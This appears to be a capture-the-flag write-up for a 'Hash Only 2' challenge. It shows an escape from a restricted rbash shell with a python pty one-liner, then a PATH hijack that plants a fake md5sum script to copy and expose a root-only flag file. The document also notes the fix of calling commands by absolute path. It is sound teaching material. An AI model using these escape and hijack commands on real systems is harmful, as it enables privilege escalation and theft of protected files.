Hash Only 2 – Jail Shells

```
ctf-player@pico-chall$ echo $SHELL
/bin/rbash
```

Upon login to the server, we see that we are using a `rbash` shell, which is a restricted shell, sometimes called a jail shell

Hash Only 2 – Jail Shells

Limited operations [edit]

The following operations are not permitted in a restricted shell:

- changing directory
- specifying absolute pathnames or names containing a slash
- setting the PATH or SHELL variable
- redirection of output

Restricted shells have all of the above restrictions

Hash Only 2 – Jail Shells

```
└─$ which python
/usr/bin/python
```

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

If we have access to a command that can spawn a shell, then we can escape the restricted shell

Hash Only 2 – Relative File Paths

```
        0x55b367cc83a0      488d35990c
"/bin/bash -c 'md5sum /root/flag.txt'"
        0x55b367cc83a7      4889c7
```

Upon inspection of the `flaghasher` binary, we see that it is referencing the `md5sum` command without an absolute file path

Hash Only 2 – Relative File Paths

```
└─$ which md5sum
/usr/bin/md5sum
```

A more secure way to use the md5sum command would be to use the command's absolute file path, which would be `/usr/bin/md5sum`

Hash Only 2 – Path Hijacking

```
export PATH=/tmp:$PATH
```

```
ctf-player@pico-chall$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin
```

Since the binary doesn't reference md5sum with an absolute filepath, we can add a user-controlled directory to the PATH where the system looks for commands

Hash Only 2 – Path Hijacking

```
echo 'cat /root/flag.txt > /tmp/flag.txt &&
chmod 777 /tmp/flag.txt' > /tmp/md5sum
```

And then create a malicious md5sum file in that directory